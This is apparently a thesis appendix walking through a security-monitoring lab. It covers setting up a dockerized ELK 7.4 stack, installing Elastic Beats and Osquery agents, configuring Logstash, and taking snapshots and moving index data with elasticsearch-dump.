You can download the latest image but for this laboratory we will be using the 
tag “740” which means that we will be using the version 7.4. This way if you want to 
replicate the experiments you will not encounter major changes.  
 
docker pull sebp/elk:740 
 
 
82 https://elk-docker.readthedocs.io/ 
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We will create a volume in the host system to store snapshots of the system. 
With these snapshots you will be able to easily load the experiments shown in this 
project.  
The volume in the container is /var/backups and the folder inside the host system 
we will be calling it “ElasticSecurityLab/backups” 
This command will start all the services and expose them to the following ports: 
Logstash : 5044 
Elasticsearch: 9200 
Kibana: 5601 
All the services can be accessed without authorization. So don’t start these 
without a firewall policy that blocks inbound connections from the internet.  
 
Mkdir ElasticSecurityLab 
mkdir ElasticSecurityLab/backups 
docker run -v ~/ElasticSecurityLab/backups/:/var/backups -p 
5601:5601 -p 9200:9200 -p 5044:5044 -it --name elk sebp/elk:740 
 
If you find any issues in this step look at the documentation for the image.  
https://elk-docker.readthedocs.io/#frequently-encountered-issues 
 
Once you can see that the services have been started properly you can exit the 
session. To start again the services, you just need to do:  
 
sudo sysctl -w vm.max_map_count=262144 
trok@cortex:~$ docker start elk  
 
You now should be able to access the Kibana interface on the port 5601.  
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5.2.1 Activate trial for platinum license.  
The objective of this project is to study the latest additions to the Elastic stack. 
Most of them are on the platinum license. So, we will be using a trial version of the 
complete product inside the docker instance.  
To request a trial, you need to go to: Management/Elasticsearch/License 
Management.  
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5.3. Script to Install agents 
The following git repository (Currently private) contains the script to install the 
agents in an automated fashion.  
https://github.com/MarcoJMancini/Threat-analysis-thesis.git 
You just need to clone the repository and execute the script with the flag “install” 
and the IP of the Logstash server that received the data. 
5.4. Installing agents 
We are going to install the open source 7.4 of all agents. If you implement this 
architecture to replicate the experiments, you should be able to get the same data.  
The Installation will be done on a Ubuntu 18.04 machine. But the beat agents 
can be installed on other Linux distributions, macOS or Windows machines.  
 
5.4.1 Setup Dashboards from Agents 
To ensure the agents will load the data with the proper mappings and the sample 
dashboards, visualizations and searches. We will use the “setup” function that each 
beats include.  
You need to modify the /etc/<beatname>/<beatname>.yml 
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Add the following fields (Cortex.local) should be changed to the IP or domain of 
the container.  
If successful, the output should be the following:  
 
#============================== Kibana ===================== 
 
setup.kibana: 
 
 # Kibana Host 
  host: "cortex.local:5601" 
 
#================================ Outputs ================== 
 
# Configure what output to use when sending the data collected by 
the beat. 
 
#-------------------------- Elasticsearch output ----------- 
output.elasticsearch: 
 # Array of hosts to connect to. 
  hosts: ["cortex.local:9200"] 
 
 # Optional protocol and basic auth credentials. 
 #protocol: "https" 
 #username: "elastic" 
 #password: "changeme" 
 
Then use the setup (Change the beat used for each one) 
 
trokair@SATELLITE:~/Downloads$ sudo metricbeat setup -e 
 
If successful, the output should be following.  
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2019-10-12T14:10:38.160+0100 INFO template/load.go:169Existing 
template will be overwritten, as overwrite is enabled. 
2019-10-12T14:10:38.401+0100 INFO template/load.go:108 Try 
loading template metricbeat-7.4.0 to Elasticsearch 
2019-10-12T14:10:38.724+0100 INFO template/load.go:100
 template with name 'metricbeat-7.4.0' loaded. 
2019-10-12T14:10:38.725+0100 INFO [index-management]
 idxmgmt/std.go:289 Loaded index template. 
2019-10-12T14:10:38.995+0100 INFO [index-management]
 idxmgmt/std.go:300 Write alias successfully generated. 
Index setup finished. 
Loading dashboards (Kibana must be running and reachable) 
2019-10-12T14:10:38.996+0100 INFO kibana/client.go:117 Kibana 
url: http://cortex.local:5601 
2019-10-12T14:10:39.394+0100 INFO kibana/client.go:117 Kibana 
url: http://cortex.local:5601 
2019-10-12T14:10:40.814+0100 INFO
 add_cloud_metadata/add_cloud_metadata.go:87
 add_cloud_metadata: hosting provider type not detected. 
 
 
2019-10-12T14:11:17.285+0100 INFO instance/beat.go:777 Kibana 
dashboards successfully loaded. 
Loaded dashboards 
 
5.4.2 Set Index patterns from Kibana 
If you don’t set the indexes automatically you can still do it manually from 
Kibana. Inside the Management/Index patterns page.  
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Go to create pattern 
In index pattern you can specify the name of the beat then an ”*” to select all the 
indexes.  
 
Then “Next step” and you select @timestamp as time. You should be able to 
create the index.  
The final step is to check that this page is populated properly.  
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5.4.3 Metricbeat 
To install the agent you will need to do the following commands: 
trokair@SATELLITE:~/Downloads$ wget 
https://artifacts.elastic.co/downloads/beats/metricbeat/metricbeat-
oss-7.4.0-amd64.deb 
trokair@SATELLITE:~/Downloads$ sudo dpkg -i metricbeat-oss-7.4.0-
amd64.deb  
trokair@SATELLITE:~/Downloads$ sudo vim 
/etc/metricbeat/metricbeat.yml 
 
This is the config we will be using in “/etc/metricbeat/metricbeat.yml” 
https://github.com/MarcoJMancini/Threat-analysis-thesis/blob/master/beats-
configs/metricbeats.yml 
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The following values (Cortex.local) should be changed to the IP or domain of the 
container.  
A production deployment should have ssl enabled to authenticate the agent and 
Logstash to each other so no rogue agent can pollute the Logstash ingestion. 
Finally, start the agent as a service or run it manually to see the output. 
(Debug mode) 
 
trokair@SATELLITE:~$ sudo metricbeat -e -c 
/etc/metricbeat/metricbeat.yml  
 
(Run as a service) 
trokair@SATELLITE:~$ sudo service metricbeat start 
 
https://www.elastic.co/downloads/past-releases/metricbeat-oss-7-4-0 
https://www.elastic.co/downloads/beats/metricbeat 
 
5.4.4 Packetbeat 
To install the agent you will need to do the following commands: 
trokair@SATELLITE:~/Downloads$ wget 
https://artifacts.elastic.co/downloads/beats/packetbeat/packetbeat-
oss-7.4.0-amd64.deb 
trokair@SATELLITE:~/Downloads$ sudo dpkg -i packetbeat-oss-7.4.0-
amd64.deb 
trokair@SATELLITE:~/Downloads$ sudo vim 
/etc/packetbeat/packetbeat.yml 
 
This is the config we will be using in “/etc/packetbeat/packetbeat.yml” 
 
https://github.com/MarcoJMancini/Threat-analysis-thesis/blob/master/beats-
configs/packetbeat.yml 
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Add the following fields (Cortex.local) should be changed to the IP or domain of 
the container.  
A production deployment should have SSL enabled to authenticate the agent and 
Logstash to each other, so no rogue agent can pollute the Logstash ingestion. 
Finally, start the agent as a service or run it manually to see the output. 
(Debug mode) 
 
trokair@SATELLITE:~$ sudo packetbeat -e -c 
/etc/packetbeat/packetbeat.yml  
 
(Run as a service) 
trokair@SATELLITE:~$ sudo service packetbeat start 
 
https://www.elastic.co/downloads/past-releases/packetbeat-oss-7-4-0 
 
5.4.5 Auditbeat 
To install the agent you will need to do the following commands: 
trokair@SATELLITE:~/Downloads$ wget 
https://artifacts.elastic.co/downloads/beats/auditbeat/auditbeat-
oss-7.4.0-amd64.deb 
trokair@SATELLITE:~/Downloads$ sudo dpkg -i auditbeat-oss-7.4.0-
amd64.deb 
trokair@SATELLITE:~/Downloads$ sudo vim 
/etc/auditbeat/auditbeat.yml 
 
This is the config we will be using in “/etc/packetbeat/packetbeat.yml” 
 
https://github.com/MarcoJMancini/Threat-analysis-thesis/blob/master/beats-
configs/auditbeat.yml 
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The following values (Cortex.local) should be changed to the IP or domain of the 
container.  
A production deployment should have SSL enabled to authenticate the agent and 
Logstash to each other, so no rogue agent can pollute the Logstash ingestion. 
Finally, start the agent as a service or run it manually to see the output. 
(Debug mode) 
trokair@SATELLITE:~$ sudo auditbeat -e -c 
/etc/auditbeat/auditbeat.yml  
 
(Run as a service) 
 
trokair@SATELLITE:~$ sudo service auditbeat start 
 
https://www.elastic.co/downloads/past-releases/auditbeat-oss-7-4-0 
If you want more modules for Auditbeat you can download the non-open source 
version and add the following module inside “/etc/auditbeat/auditbeat.yml” 
https://www.elastic.co/downloads/past-releases/auditbeat-7-4-0 
 
- module: system 
  datasets: 
    - host 
    - login 
    - package 
    - user 
  period: 1m 
 
  user.detect_password_changes: true 
 
- module: system 
  datasets: 
    - process 
    - socket 
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  period: 1s 
 
https://www.elastic.co/guide/en/beats/auditbeat/current/auditbeat-module-
system.html 
5.4.6 Osquery 
To install the agent you will need to do the following commands. We will install 
osquery with the official repository. 
 
trokair@SATELLITE:~$ export 
OSQUERY_KEY=1484120AC4E9F8A1A577AEEE97A80C63C9D8B80B 
trokair@SATELLITE:~$ sudo apt-key adv --keyserver 
keyserver.ubuntu.com --recv-keys $OSQUERY_KEY 
trokair@SATELLITE:~$ sudo add-apt-repository 'deb [arch=amd64] 
https://pkg.osquery.io/deb deb main' 
trokair@SATELLITE:~$ sudo apt-get  update 
trokair@SATELLITE:~$ sudo apt-get install osquery 
trokair@SATELLITE:~$ sudo vim /etc/osquery/osquery.conf 
 
This is the config we will be using in “/etc/osquery/osquery.conf” 
https://github.com/MarcoJMancini/Threat-analysis-thesis/blob/master/beats-
configs/osquery.conf 
This configuration  
Finally, start the agent as a service or run it manually to see the output. 
(Debug mode) 
 
trokair@SATELLITE:/etc/osquery$ sudo osqueryd --config_path 
/etc/osquery/osquery.conf  
 
(Run as a service) 
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trokair@SATELLITE:/etc/osquery$ sudo service osqueryd start 
 
https://osquery.readthedocs.io/en/stable/installation/install-linux/ 
https://osquery.io/downloads/official/4.0.2 
 
5.4.7 Filebeat 
To install the agent you will need to do the following commands: 
 
trokair@SATELLITE:~/Downloads$ wget 
https://artifacts.elastic.co/downloads/beats/filebeat/filebeat-
oss-7.4.0-amd64.deb 
trokair@SATELLITE:~/Downloads$ sudo dpkg -i filebeat-oss-7.4.0-
amd64.deb 
trokair@SATELLITE:~/Downloads$ sudo vim /etc/filebeat/filebeat.yml 
 
This is the config we will be using in “/etc/filebeat/filebeat.yml” 
https://github.com/MarcoJMancini/Threat-analysis-thesis/blob/master/beats-
configs/filebeat.yml 
The following values (Cortex.local) should be changed to the IP or domain of the 
container.  
A production deployment should have SSL enabled to authenticate the agent and 
Logstash to each other, so no rogue agent can pollute the Logstash ingestion. 
Finally, start the agent as a service or run it manually to see the output. 
(Debug mode) 
 
trokair@SATELLITE:~$ sudo filebeat -e -c 
/etc/filebeat/filebeat.yml  
 
(Run as a service) 
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trokair@SATELLITE:~$ sudo service filebeat start 
 
https://www.elastic.co/downloads/past-releases/filebeat-oss-7-4-0 
https://www.elastic.co/downloads/beats/filebeat 
 
5.5. Issues encountered 
5.5.1.1 Elasticsearch Index 
Be aware that if you have not used the “setup” feature while configuring the beat 
index. There will be some fields that won’t be able to be analyzed because the “fielddata” 
is not true.  
To fix this problem you need to load the correct mappings (each beats agent can 
be used to load and/or export the correct mapping) and then reindex the affected index. 
To export the correct mappings. You can do  
 
Auditbeat export template  
 
Then load the template in a new index and then reindex.  
https://www.elastic.co/guide/en/beats/auditbeat/7.5/command-line-
options.html#export-command 
https://www.elastic.co/guide/en/elasticsearch/reference/current/indices-put-
mapping.html#updating-field-mappings 
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5.5.1.2 Logstash 
File: /etc/Logstash/conf.d/30-output.conf 
 
output { 
  elasticsearch { 
    hosts => ["localhost"] 
    manage_template => false 
    index =>%{[@metadata][beat]}-1-%{+YYYY.MM.dd}" 
  } 
} 
 
Change output adding a “1” between the beats name and the date to tag the 
experiment.  
https://www.elastic.co/guide/en/Logstash/7.4/event-dependent-
configuration.html#metadata 
https://www.elastic.co/guide/en/Logstash/current/plugins-outputs-
elasticsearch.html#plugins-outputs-elasticsearch-index 
File: /etc/Logstash/conf.d/02-beats-input.conf 
Change SSL to false unless you configure the beats to send the data through SSL.  
 
input { 
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  beats { 
    port => 5044 
    ssl => false 
    ssl_certificate => "/etc/pki/tls/certs/Logstash-beats.crt" 
    ssl_key => "/etc/pki/tls/private/Logstash-beats.key" 
  } 
} 
 
After changing the configuration you can reload all the services with  
 
trokair@SATELLITE:~$ docker restart elk 
 
5.6. Snapshots and Backup 
5.6.1 Snapshot 
We can use the repository at /var/backups/ which is already approved and will be 
tied to the host file system.  
The steps to create the repository are the following.  
In “Management/Snapshots and Restore” in Snapshots you “Register a 
repository” 
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Give it a name, and select a “Shared file system” repository type.  
Then select “/var/backups” on the File system location and register the new 
repository.  
Then you can verify if the repository is working properly.  
 
 
If you have a problem with the permissions to access the directory you should 
assign ownership to the elasticsearch user inside the docker.  
 
trok@cortex:~$ docker exec -ti elk bash 
root@5521efeba982:~# chown elasticsearch:elasticsearch 
/var/backups/ 
 
Now from the repository you are able to load backups, and with it, the index 
used in this study.  
Inside Snapshots you should find any backup you have, and then you just need to 
select it and click “restore”.  
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https://www.elastic.co/guide/en/elasticsearch/reference/current/modules-
snapshots.html 
 
5.6.2 Backup 
You can activate a backup manually with the following query to elasticsearch: 
 
PUT /_snapshot/DockerBackup/snapshot_1?wait_for_completion=true 
{ 
  "indices": "*", 
  "ignore_unavailable": true, 
  "include_global_state": false, 
  "metadata": { 
 "taken_by": "Marco Mancini", 
 "taken_because": "backup Testing" 
  } 
} 
 
(This can be done in the dev Tools) 
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The response should be the state of “SUCCESS” 
 
{ 
  "snapshot" : { 
 "snapshot" : "snapshot_1", 
 "uuid" : "JEvoCVyWQ_eRA02N10oA3A", 
 "version_id" : 7040099, 
 "version" : "7.4.0", 
 "indices" : [ 
   ".ml-anomalies-custom-
linux_anomalous_network_url_activity_ecs", 
   ".kibana_task_manager_1", 
   ".kibana_1", 
   ".ml-anomalies-custom-linux_anomalous_network_service", 
   "auditbeat-1-2019.10.12", 
   "auditbeat-1-2019.09.22", 
   "filebeat-1-2019.10.12", 
   ".monitoring-alerts-7", 
   ".watches", 
   "auditbeat-1-2019.09.29", 
   ".ml-anomalies-custom-linux_anomalous_user_name_ecs", 
   ".ml-anomalies-custom-
linux_anomalous_network_port_activity_ecs", 
   "metricbeat-1-2019.10.12", 
   ".ml-anomalies-custom-linux_anomalous_process_all_hosts_ecs", 
   "auditbeat-1-2019.09.23", 
   ".monitoring-kibana-7-2019.10.12", 
   ".ml-anomalies-custom-suspicious_login_activity_ecs", 
   ".ml-annotations-6", 
   ".ml-config", 
   ".ml-anomalies-custom-linux_anomalous_network_activity_ecs", 
   "packetbeat-1-2019.10.12", 
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   ".apm-agent-configuration", 
   ".triggered_watches", 
   ".monitoring-es-7-2019.10.12", 
   "auditbeat-1-2019.09.14", 
   ".ml-notifications", 
   ".ml-state", 
   ".watcher-history-10-2019.10.12", 
   ".ml-anomalies-custom-rare_process_by_host_linux_ecs" 
 ], 
 "include_global_state" : false, 
 "metadata" : { 
   "taken_by" : "Marco Mancini", 
   "taken_because" : "backup Testing" 
 }, 
 "state" : "SUCCESS", 
 "start_time" : "2019-10-12T22:14:02.151Z", 
 "start_time_in_millis" : 1570918442151, 
 "end_time" : "2019-10-12T22:14:06.153Z", 
 "end_time_in_millis" : 1570918446153, 
 "duration_in_millis" : 4002, 
 "failures" : [ ], 
 "shards" : { 
   "total" : 29, 
   "failed" : 0, 
   "successful" : 29 
 } 
  } 
} 
https://www.elastic.co/guide/en/elasticsearch/reference/current/modules-
snapshots.html 
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To move the files from one system to another you can use scp. The following is 
an example of copying the whole backup folder from host to the target machine: 
Neocortex.  
 
trok@cortex:~/ElasticSecurityLab/backups$ sudo scp -r 
/home/trok/ElasticSecurityLab/backups/ 
trok@neocortex.local:/home/trok/Github/tfm/ElasticSecurityLab/backups 
 
6. Import/Export scenarios.  
The tool used to export the data for the different scenarios, and the one that will 
later be used to automatically load them is elasticsearch-dump.  
https://github.com/taskrabbit/elasticsearch-dump 
 
trok@cortex:~/Github/tfm$ docker run  -v ~/Github/tfm:/exports/ --
rm -ti taskrabbit/elasticsearch-dump 
 
We ran the tool inside docker so it’s more portable. 
6.1. Export scenario 
With the following command. We can export into the filesystem any index. In 
this case all the index that match the “filebeat-*” regex. 
 
trok@cortex:~/Github/tfm$ docker run  -v ~/Github/tfm:/exports/ --
rm -ti taskrabbit/elasticsearch-dump --
input=http://cortex.local:9200/filebeat-*   --
output=/exports/filebeats_indexes.json  
6.2. Import scenario 
To use a scenario there are different steps.  
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Load Initial configuration 
Manual process.  
Use file with saved objects in this link.  
 
 
 
- Load mappings, template, data 
You can use the MoveData.sh script. This script you can find it in this project’s 
github. Or manually run the elasticsearch-dump script to load the index related the 
scenarios.  
 
trok@cortex:~/Github/tfm$ docker run -ti taskrabbit/elasticsearch-
dump --input=http://192.168.0.15:9200/auditbeat-1-2019.11.05   --
output=https://elastic:Password@865acd98f328436db42e478529d80c2a.us-
central1.gcp.cloud.es.io:9243/auditbeat-cortex-2019.11.05   --
type=mapping 
docker run -ti taskrabbit/elasticsearch-dump --
input=http://192.168.0.15:9200/auditbeat-1-2019.11.05   --
output=https://elastic:Password@865acd98f328436db42e478529d80c2a.us-
central1.gcp.cloud.es.io:9243/auditbeat-cortex-2019.11.05   --
type=dataSun, 17 Nov 2019 16:09:52 GMT | starting dump 
Sun, 17 Nov 2019 16:09:52 GMT | got 1 objects from source 
elasticsearch (offset: 0) 
Sun, 17 Nov 2019 16:09:58 GMT | sent 1 objects to destination 
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elasticsearch, wrote 1 
Sun, 17 Nov 2019 16:09:58 GMT | got 0 objects from source 
elasticsearch (offset: 1) 
Sun, 17 Nov 2019 16:09:58 GMT | Total Writes: 1 
Sun, 17 Nov 2019 16:09:58 GMT | dump complete 
trok@cortex:~/Github/tfm$ docker run -ti taskrabbit/elasticsearch-
dump --input=http://192.168.0.15:9200/auditbeat-1-2019.11.05   --
output=https://elastic:Password@865acd98f328436db42e478529d80c2a.us-
central1.gcp.cloud.es.io:9243/auditbeat-cortex-2019.11.05   --
type=mapping 
Sun, 17 Nov 2019 16:10:09 GMT | starting dump 
Sun, 17 Nov 2019 16:10:09 GMT | got 1 objects from source 
elasticsearch (offset: 0) 
Sun, 17 Nov 2019 16:10:11 GMT | sent 1 objects to destination 
elasticsearch, wrote 1 
Sun, 17 Nov 2019 16:10:11 GMT | got 0 objects from source 
elasticsearch (offset: 1) 
Sun, 17 Nov 2019 16:10:11 GMT | Total Writes: 1 
Sun, 17 Nov 2019 16:10:11 GMT | dump complete 
trok@cortex:~/Github/tfm$ docker run -ti taskrabbit/elasticsearch-
dump --input=http://192.168.0.15:9200/auditbeat-1-2019.11.05   --
output=https://elastic:Password@865acd98f328436db42e478529d80c2a.us-
central1.gcp.cloud.es.io:9243/auditbeat-cortex-2019.11.05   --
type=data 
Sun, 17 Nov 2019 16:10:14 GMT | starting dump 
Sun, 17 Nov 2019 16:10:14 GMT | got 100 objects from source 
elasticsearch (offset: 0) 
Sun, 17 Nov 2019 16:10:17 GMT | sent 100 objects to destination 
elasticsearch, wrote 100 
... 
Sun, 17 Nov 2019 16:48:49 GMT | sent 52 objects to destination 
elasticsearch, wrote 52 
XXIX 
 
Sun, 17 Nov 2019 16:48:49 GMT | got 0 objects from source 
elasticsearch (offset: 102152) 
Sun, 17 Nov 2019 16:48:49 GMT | Total Writes: 102152 
Sun, 17 Nov 2019 16:48:49 GMT | dump complete 
 
 
